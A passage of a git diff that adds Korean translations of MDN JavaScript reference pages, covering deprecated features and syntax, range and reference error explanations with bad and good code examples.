+ <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li>
+</ul>
+
+<h3 id="String_methods">String methods</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li>
+ <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li>
+ <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li>
+</ul>
+
+<h2 id="Obsolete_features">Obsolete features</h2>
+
+<p>These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.</p>
+
+<h3 id="Object">Object</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
+ <td>Returns the number of enumerable properties directly on a user-defined object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
+ <td>Points to an object's context.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
+ <td>Evaluates a string of JavaScript code in the context of the specified object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.observe()")}}</td>
+ <td>Asynchronously observing the changes to an object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.unobserve()")}}</td>
+ <td>Remove observers.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.getNotifier()")}}</td>
+ <td>Creates an object that allows to synthetically trigger a change.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Function">Function</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Property</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
+ <td>Number of formal arguments.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Array">Array</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>Property</td>
+ <td>Description</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Array.observe()")}}</td>
+ <td>Asynchronously observing changes to Arrays.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Array.unobserve()")}}</td>
+ <td>Remove observers.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Number">Number</h3>
+
+<ul>
+ <li>{{jsxref("Number.toInteger()")}}</li>
+</ul>
+
+<h3 id="ParallelArray">ParallelArray</h3>
+
+<ul>
+ <li>{{jsxref("ParallelArray")}}</li>
+</ul>
+
+<h3 id="Statements">Statements</h3>
+
+<ul>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>let blocks and let expressions are obsolete.</li>
+</ul>
+
+<h3 id="E4X">E4X</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/E4X">E4X</a> for more information.</p>
+
+<h3 id="Sharp_variables">Sharp variables</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> for more information.</p>
diff --git a/files/ko/web/javascript/reference/errors/bad_octal/index.html b/files/ko/web/javascript/reference/errors/bad_octal/index.html
new file mode 100644
index 0000000000..8a4590e668
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_octal/index.html
@@ -0,0 +1,45 @@
+---
+title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant'
+slug: Web/JavaScript/Reference/Errors/Bad_octal
+translation_of: Web/JavaScript/Reference/Errors/Bad_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
+Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("SyntaxError")}}<code>. </code>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 경고 됨.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>10진법의 리터럴은 <code>0</code>을 가장 앞 자리에 표시하고 뒤따라 다른 10진 숫자가 오게 할 수 있지만, <code>0</code>으로 시작하여 그 뒤를 따르는 모든 숫자들이 8보다 작다면, 그 수는 8진수로 해석됩니다. 이런 경우에는 <code>08<font face="Open Sans, Arial, sans-serif">과</font> 09<font face="Open Sans, Arial, sans-serif">는 허용되지 않기 때문에</font><font face="Open Sans, Arial, sans-serif"> </font></code>JavaScript는 경고를 띄웁니다. </p>
+
+<p>8진 리터럴과 8진 escape sequence는 사라지고 추가적인 경고가 나타날 것임을 알아 두세요. ECMAScript 6와 그 이후 버전의 구문은, 맨 앞자리에 위치하는 <code>0</code>의 뒤에 소문자 또는 대문자의 라틴 문자 "O" 를 위치시키도록 합니다 (<code>0o</code> or <code>0O)</code>. 더 자세한 설명은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">lexical grammar</a> 페이지를 보세요.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_8진수">유효하지 않은 8진수</h3>
+
+<pre class="brush: js example-bad">08;
+09;
+// SyntaxError: 08 is not a legal ECMA-262 octal constant
+// SyntaxError: octal literals and octal escape sequences are deprecated</pre>
+
+<h3 id="유효한_8진수">유효한 8진수</h3>
+
+<p>선두로 사용된 <code>0</code>의 뒤에는 문자 "o"가 오도록 한다. </p>
+
+<pre class="brush: js example-good">0O755;
+0o644;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Lexical grammar</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_radix/index.html b/files/ko/web/javascript/reference/errors/bad_radix/index.html
new file mode 100644
index 0000000000..3ea98bf1eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_radix/index.html
@@ -0,0 +1,57 @@
+---
+title: 'RangeError: radix must be an integer'
+slug: Web/JavaScript/Reference/Errors/Bad_radix
+translation_of: Web/JavaScript/Reference/Errors/Bad_radix
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
+RangeError: toString() radix argument must be between 2 and 36 (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("Number.prototype.toString()")}} 메소드는 선택적 파라메터인 <code>radix</code>(기수:진수를 지정하는 값)와 함께 사용되어 왔습니다. 이 파라메터는 반드시 수의 값을 나타내는 진법의 2와 36 사이로 지정된 정수(숫자)여야 합니다. </p>
+
+<p>왜 36으로 제한이 되었을까요? <code>radix</code>는 digit(밑기수) 알파벳 글자로 사용되는 10보다는 큽니다. 그렇기 때문에, <code>radix</code>는 라틴 알파벳 26글자를 가졌을 때, 36보다 클 수 없습니다.  </p>
+
+<p>보통 아래의 <code>radix</code> 중 하나를 사용하게 될 것입니다.</p>
+
+<ul>
+ <li>2 for <a href="https://en.wikipedia.org/wiki/Binary_number">binary numbers</a> (2진수),</li>
+ <li>8 for <a href="https://en.wikipedia.org/wiki/Octal">octal numbers</a> (8진수),</li>
+ <li>10 for <a href="https://en.wikipedia.org/wiki/Decimal">decimal numbers</a> (10진수),</li>
+ <li>16 for <a href="https://en.wikipedia.org/wiki/Hexadecimal">hexadecimal numbers</a> (16진수).</li>
+</ul>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">(42).toString(0);
+(42).toString(1);
+(42).toString(37);
+(42).toString(150);
+//포맷팅하기 위해 string을 이런 식으로 사용할 수는 없습니다. :
+(12071989).toString("MM-dd-yyyy");
+</pre>
+
+<h3 id="허용된_경우">허용된 경우</h3>
+
+<pre class="brush: js example-good">(42).toString(2); // "101010" (2진수)
+(13).toString(8); // "15" (8진수)
+(0x42).toString(10); // "66" (10진수)
+(100000).toString(16) // "186a0" (16진수)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html
new file mode 100644
index 0000000000..2c8d12289d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html
@@ -0,0 +1,107 @@
+---
+title: 'SyntaxError: invalid regular expression flag "x"'
+slug: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+tags:
+ - 구문 에러
+ - 자바스크립트
+ - 정규식
+ - 플래그
+translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Syntax error in regular expression (Edge)
+SyntaxError: invalid regular expression flag "x" (Firefox)
+SyntaxError: Invalid regular expression flags (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>코드에 잘못된 정규 표현식 플래그가 있습니다. 슬래시로 묶인 패턴으로 구성되어 있는 정규 표현식 문자에서 플래그는 두 번째 플래그 뒤에 정의됩니다. 플래그는 또한 {{jsxref("RegExp")}} 객체의 생성자 함수에서도 정의될 수 있습니다(두 번째 매개변수). 정규 표현식 플래그는 따로 또는 순서에 상관 없이 같이 사용될 수 있지만 ECMAScript에는 오직 5개만 있습니다.</p>
+
+<p>정규 표현식에 플래그를 포함시키려면 아래의 문법을 사용하세요:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">var re = new RegExp('pattern', 'flags');</pre>
+
+<table class="standard-table">
+ <caption>정규 표현식 플래그</caption>
+ <thead>
+ <tr>
+ <th scope="col">플래그</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>g</code></td>
+ <td>전역 검색.</td>
+ </tr>
+ <tr>
+ <td>i</td>
+ <td>대소문자 구별 없이 검색.</td>
+ </tr>
+ <tr>
+ <td>m</td>
+ <td>여러 줄(Multi-line) 검색.</td>
+ </tr>
+ <tr>
+ <td>u</td>
+ <td>유니코드; 패턴을 유니코드 코드 포인트의 나열로 취급.</td>
+ </tr>
+ <tr>
+ <td>y</td>
+ <td>현재 위치에서 검색. ("sticky" 검색). {{jsxref("RegExp.sticky", "sticky")}} 참조.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p>5개의 플래그만이 유효합니다.</p>
+
+<pre class="brush: js example-bad">/foo/bar;
+
+// SyntaxError: invalid regular expression flag "b"
+</pre>
+
+<p>정규 표현식을 만들려고 했나요? 두 개의 슬래시가 포함된 표현식은 정규 표현식 문자로 해석됩니다.</p>
+
+<pre class="brush: js example-bad">let obj = {
+ url: /docs/Web
+};
+
+// SyntaxError: invalid regular expression flag "W"
+</pre>
+
+<p>아니면 문자열로 만들려고 했나요? 작은 따옴표 또는 큰 따옴표를 추가하여 문자열을 만듭니다.</p>
+
+<pre class="brush: js example-good">let obj = {
+ url: '/docs/Web'
+};</pre>
+
+<h3 id="유효한_정규_표현식_플래그">유효한 정규 표현식 플래그</h3>
+
+<p>자바스크립트에서 허용하는 5개의 유효한 정규 표현식 플래그를 위의 표에서 확인하세요.</p>
+
+<pre class="brush: js example-good">/foo/g;
+/foo/gim;
+/foo/uy;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%EC%A0%95%EA%B7%9C%EC%8B%9D">정규 표현식</a></li>
+ <li><a href="http://xregexp.com/flags/">XRegEx flags</a> – 새로운 4개의 플래그(<code>n</code>, <code>s</code>, <code>x</code>, <code>A</code>)를 제공하는 정규 표현식 라이브러리</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html
new file mode 100644
index 0000000000..1239fa27f4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -0,0 +1,51 @@
+---
+title: 'SyntaxError: return not in function'
+slug: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: return not in function
+SyntaxError: yield not in function
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="뭐가_잘못된_걸까요">뭐가 잘못된 걸까요?</h2>
+
+<p><code><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 또는 <code><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 문장이 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">function</a> 밖에서 호출되었기 때문입니다. 혹시 어딘가에 중괄호를 빠트리신 건 아닌가요? <code>return</code> 과 <code>yield</code> function 내에 있어야 합니다, 왜냐하면 이것들은 function의 실행 종료 (또는 일시정지 및 재개)를 의미하고 function 호출자에게 특정 값을 반환하기 위해 사용되기 때문입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js example-bad">var cheer = function(score) {
+ if (score === 147)
+ return 'Maximum!';
+ };
+ if (score &gt; 100) {
+ return 'Century!';
+ }
+}
+
+// SyntaxError: return not in function</pre>
+
+<p>처음 볼 때는 중괄호가 제대로 있는 것처럼 보인다, 하지만 이 코드 조각에는 if 문장 다음에 중괄호가 하나 빠져 있다. 다음처럼 고쳐야 한다:</p>
+
+<pre class="brush: js example-good">var cheer = function(score) {
+ if (score === 147) {
+ return 'Maximum!';
+ }
+ if (score &gt; 100) {
+ return 'Century!';
+ }
+};</pre>
+
+<h2 id="또_다른_내용">또 다른 내용</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
new file mode 100644
index 0000000000..593e8cca13
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
@@ -0,0 +1,56 @@
+---
+title: 'ReferenceError: can''t access lexical declaration`X'' before initialization'
+slug: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
+ReferenceError: 'x' is not defined (Chrome)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("ReferenceError")}}</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p>변수가 초기화 되기 전에 엑세스가 되어버립니다. 이 문제는 let 또는 const 선언이 정의 되기 전에 엑세스되는 모든 block 문에서 발생합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="잘못된_경우">잘못된 경우</h3>
+
+<p>이 경우에 변수 "foo"는 <code>let</code> 을 사용하여 block 문에서 다시 선언됩니다.</p>
+
+<pre class="brush: js example-bad">function test() {
+ let foo = 33;
+ if (true) {
+ let foo = (foo + 55);
+ // ReferenceError: can't access lexical
+ // declaration `foo' before initialization
+ }
+}
+test();
+</pre>
+
+<h3 id="올바른_경우">올바른 경우</h3>
+
+<p>if 문에서 "foo"를 변경하려면 재 선언을 발생시키는 <code>let</code> 을 제거해야합니다.</p>
+
+<pre class="brush: js example-good">function test(){
+ let foo = 33;
+ if (true) {
+ foo = (foo + 55);
+ }
+}
+test();
+</pre>
+
+<h2 id="그밖에_볼_것">그밖에 볼 것</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">Temporal Dead Zone and errors with let</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html
new file mode 100644
index 0000000000..138384bcac
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html
@@ -0,0 +1,71 @@
+---
+title: >-
+ SyntaxError: applying the 'delete' operator to an unqualified name is
+ deprecated
+slug: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+tags:
+ - 가비지 컬렉터
+ - 구문 에러
+ - 변수 삭제
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Calling delete on expression not allowed in strict mode (Edge)
+SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox)
+SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>엄격(Strict) 모드에서의 {{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>자바스크립트에서 일반 변수는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 연산자를 사용하여 삭제할 수 없습니다. 엄격 모드에서 변수를 삭제하는 접근은 허용되지 않으므로 에러가 발생합니다.</p>
+
+<p><code>delete</code> 연산자는 오직 객체의 속성만을 삭제할 수 있습니다. 객체 속성은 설정할 수 있는 경우 "수식"될 수 있습니다.</p>
+
+<p>일반적인 생각과 다르게 <code>delete</code> 연산자는 메모리 해제와 직접적인 연관이 없습니다. 메모리 관리는 참조가 깨짐에 따라 간접적으로 수행됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Memory_Management">메모리 관리</a> 페이지와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 연산자 페이지를 참조하십시오.</p>
+
+<p>이 에러는 오직 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드 코드</a>에서만 발생합니다. 엄격하지 않은 모드에서 해당 연산자는 단순히 <code>false</code> 를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>자바스크립트에서 일반 변수를 삭제하려고 하면 동작하지 않습니다. 그리고 엄격 모드에서는 에러가 발생합니다:</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var x;
+
+// ...
+
+delete x;
+
+// SyntaxError: applying the 'delete' operator to an unqualified name
+// is deprecated
+</pre>
+
+<p>변수의 내용을 비우려면 {{jsxref("null")}}을 설정하면 됩니다:</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var x;
+
+// ...
+
+x = null;
+
+// x는 가비지 컬렉터에 의해 메모리에서 해제됩니다
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Memory_Management">메모리 관리</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Cant_delete">TypeError: property "x" is non-configurable and can't be deleted</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html b/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
new file mode 100644
index 0000000000..fc613db1d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
@@ -0,0 +1,70 @@
+---
+title: 'ReferenceError: deprecated caller or arguments usage'
+slug: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Warning: ReferenceError: deprecated caller usage (Firefox)
+Warning: ReferenceError: deprecated arguments usage (Firefox)
+TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드에서만 {{jsxref("ReferenceError")}} 경고가 발생합니다. JavaScript 실행이 중단되지는 않을 것입니다.   </p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>엄격모드에서, {{jsxref("Function.caller")}} 나 {{jsxref("Function.arguments")}} 속성이 사용되었고, 그러지 말아야 했습니다. 이 속성들은 사라지게 되었는데, 함수 호출자를 흘려보내거나, 비 표준이었으며, 최적화 하기 어렵고, 잠재적으로 퍼포먼스에 무리를 주었기 때문입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="function.caller_or_arguments.callee.caller"><code>function.caller</code> or <code>arguments.callee.caller</code></h3>
+
+<p>{{jsxref("Function.caller")}} 와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code> 는 사라지게 되었습니다. (자세한 정보는 레퍼런스 문서를 확인해 보세요.)</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function myFunc() {
+  if (myFunc.caller == null) {
+    return 'The function was called from the top!';
+  } else {
+    return 'This function\'s caller was ' + myFunc.caller;
+  }
+}
+
+myFunc();
+// Warning: ReferenceError: deprecated caller usage
+// "The function was called from the top!"</pre>
+
+<h3 id="Function.arguments"><code>Function.arguments</code></h3>
+
+<p>{{jsxref("Function.arguments")}} 는 사라졌습니다. (자세한 정보는 레퍼런스 문서를 확인해 주세요.) </p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function f(n) { g(n - 1); }
+
+function g(n) {
+ console.log('before: ' + g.arguments[0]);
+ if (n &gt; 0) { f(n); }
+ console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+// Warning: ReferenceError: deprecated arguments usage
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+ <li>{{jsxref("Function.arguments")}}</li>
+ <li>{{jsxref("Function.caller")}} and <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/deprecated_octal/index.html b/files/ko/web/javascript/reference/errors/deprecated_octal/index.html
new file mode 100644
index 0000000000..55d85cf7eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/deprecated_octal/index.html
@@ -0,0 +1,64 @@
+---
+title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated'
+slug: Web/JavaScript/Reference/Errors/Deprecated_octal
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
+SyntaxError:
+"0"-prefixed octal literals and octal escape sequences are deprecated;
+for octal literals use the "0o" prefix instead
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}} <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 내에서만.</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>8진 리터럴과 8진수 이스케이프 시퀀스는 더 이상 사용하지 않으며, 엄격 모드(strict mode) 내에서는 {{jsxref("SyntaxError")}} 에러를 던질 것입니다. ECMAScript 2015와 이 후의 버전의 표준화된 구문은 0을 맨 앞자리에 두고 그 뒤를 대문자 또는 소문자의 라틴 문자 "O" 를 사용하도록 합니다. (<code>0o</code> 또는 <code>0O)</code></p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="0이_접두인_8진_리터럴">"0"이 접두인 8진 리터럴</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+03;
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated (0으로 시작하는 8진수와 8진 이스케이프 시퀀스는 더 이상 사용되지 않습니다. )
+</pre>
+
+<h3 id="8진수_이스케이프_시퀀스">8진수 이스케이프 시퀀스</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+"\251";
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated (0으로 시작하는 8진수와 8진 이스케이프 시퀀스는 더 이상 사용되지 않습니다. )
+</pre>
+
+<h3 id="유효한_8진_수들">유효한 8진 수들</h3>
+
+<p>0뒤에 "o" 또는 "O"를 사용합니다. :</p>
+
+<pre class="brush: js example-good">0o3;
+</pre>
+
+<p>8진수 이스케이프 시퀀스 대신 16진수 이스케이프 시퀀스를 사용할 수도 있습니다. :</p>
+
+<pre class="brush: js example-good">'\xA9';</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Lexical grammar</a></li>
+ <li>
+ <p><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Bad_octal">Warning: 08/09 is not a legal ECMA-262 octal constant</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/identifier_after_number/index.html b/files/ko/web/javascript/reference/errors/identifier_after_number/index.html
new file mode 100644
index 0000000000..14e5b336c7
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/identifier_after_number/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: identifier starts immediately after numeric literal'
+slug: Web/JavaScript/Reference/Errors/Identifier_after_number
+tags:
+ - 구문 에러
+ - 변수 이름
+ - 식별자
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Unexpected identifier after numeric literal (Edge)
+SyntaxError: identifier starts immediately after numeric literal (Firefox)
+SyntaxError: Unexpected number (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{Glossary("식별자", "식별자")}}라고 불리는 변수의 이름은 반드시 지켜야 하는 특정 규칙을 따라야 합니다.</p>
+
+<p>자바스크립트의 식별자는 반드시 문자, 언더스코어(_), 또는 달러 표시($)로 시작돼야 합니다. 숫자로 시작될 수 없습니다. 글자 뒤에만 숫자(0-9)가 올 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="숫자로_시작하는_변수_이름">숫자로 시작하는 변수 이름</h3>
+
+<p>자바스크립트에서 변수 이름은 숫자로 시작될 수 없습니다. 아래 예제는 에러가 발생합니다:</p>
+
+<pre class="brush: js example-bad">var 1life = 'foo';
+// SyntaxError: identifier starts immediately after numeric literal
+
+var foo = 1life;
+// SyntaxError: identifier starts immediately after numeric literal
+
+alert(1.foo);
+// SyntaxError: identifier starts immediately after numeric literal
+</pre>
+
+<p>숫자가 뒤에 오도록 변수 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js example-good">var life1 = 'foo';
+var foo = life1;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Lexical_grammar">문법</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#%EB%B3%80%EC%88%98">변수</a>(<a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/illegal_character/index.html b/files/ko/web/javascript/reference/errors/illegal_character/index.html
new file mode 100644
index 0000000000..b3cd3a9750
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/illegal_character/index.html
@@ -0,0 +1,81 @@
+---
+title: 'SyntaxError: illegal character'
+slug: Web/JavaScript/Reference/Errors/Illegal_character
+tags:
